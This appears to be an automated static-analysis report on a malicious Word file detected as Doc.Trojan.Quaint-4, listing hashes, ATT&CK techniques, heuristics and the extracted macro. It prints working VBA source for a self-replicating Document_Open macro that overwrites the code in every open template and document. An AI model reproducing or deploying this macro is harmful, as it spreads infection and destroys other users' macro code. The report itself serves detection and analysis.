Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 21a00f91730bfdaa…

MALICIOUS

Office (OLE)

48.0 KB Created: 2000-10-09 08:34:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 3225b79d12a12a11e955c6b383067b30 SHA-1: 372d7db5ad87a9d121b3344c514efc6187d463fa SHA-256: 21a00f91730bfdaaa1dc2ccf797a3da9be60904bffca6fa5484c1305bbc546c6
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro. This macro is designed to copy itself into other documents and templates, indicating an attempt to spread and infect the user's environment. The presence of the 'ALERGIA' string suggests a potential link to a specific campaign or malware family, though it is not definitively identified.

Heuristics 3

  • ClamAV: Doc.Trojan.Quaint-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Quaint-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1048 bytes
SHA-256: bf84da12d18b985c010306dd22eadbae07b6f9d2c60b1daa6910f029d6adea94
Detection
ClamAV: Doc.Trojan.Quaint-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Const JEDAN = 2 - 1
ASD987 = Templates.Count
ASD654 = Strings.LTrim(ThisDocument.VBProject.VBCOMPONENTS(JEDAN) _
.CODEMODULE.LINES(JEDAN, ThisDocument.VBProject.VBCOMPONENTS(JEDAN) _
.CODEMODULE.COUNTOFLINES))
For a = 1 To ASD987
   With Templates(a).VBProject.VBCOMPONENTS(JEDAN).CODEMODULE
        If .LINES(JEDAN, 27) <> "'ALERGIA" Then
             .DELETELINES JEDAN, .COUNTOFLINES: .ADDFROMSTRING ASD654
        End If
   End With
Next a
For b = 1 To Documents.Count
    With Documents(b).VBProject.VBCOMPONENTS(JEDAN).CODEMODULE
        If .LINES(JEDAN, 27) <> "'ALERGIA" Then
             .DELETELINES JEDAN, .COUNTOFLINES: .ADDFROMSTRING ASD654
        End If
    End With
Next b
End Sub
'ALERGIA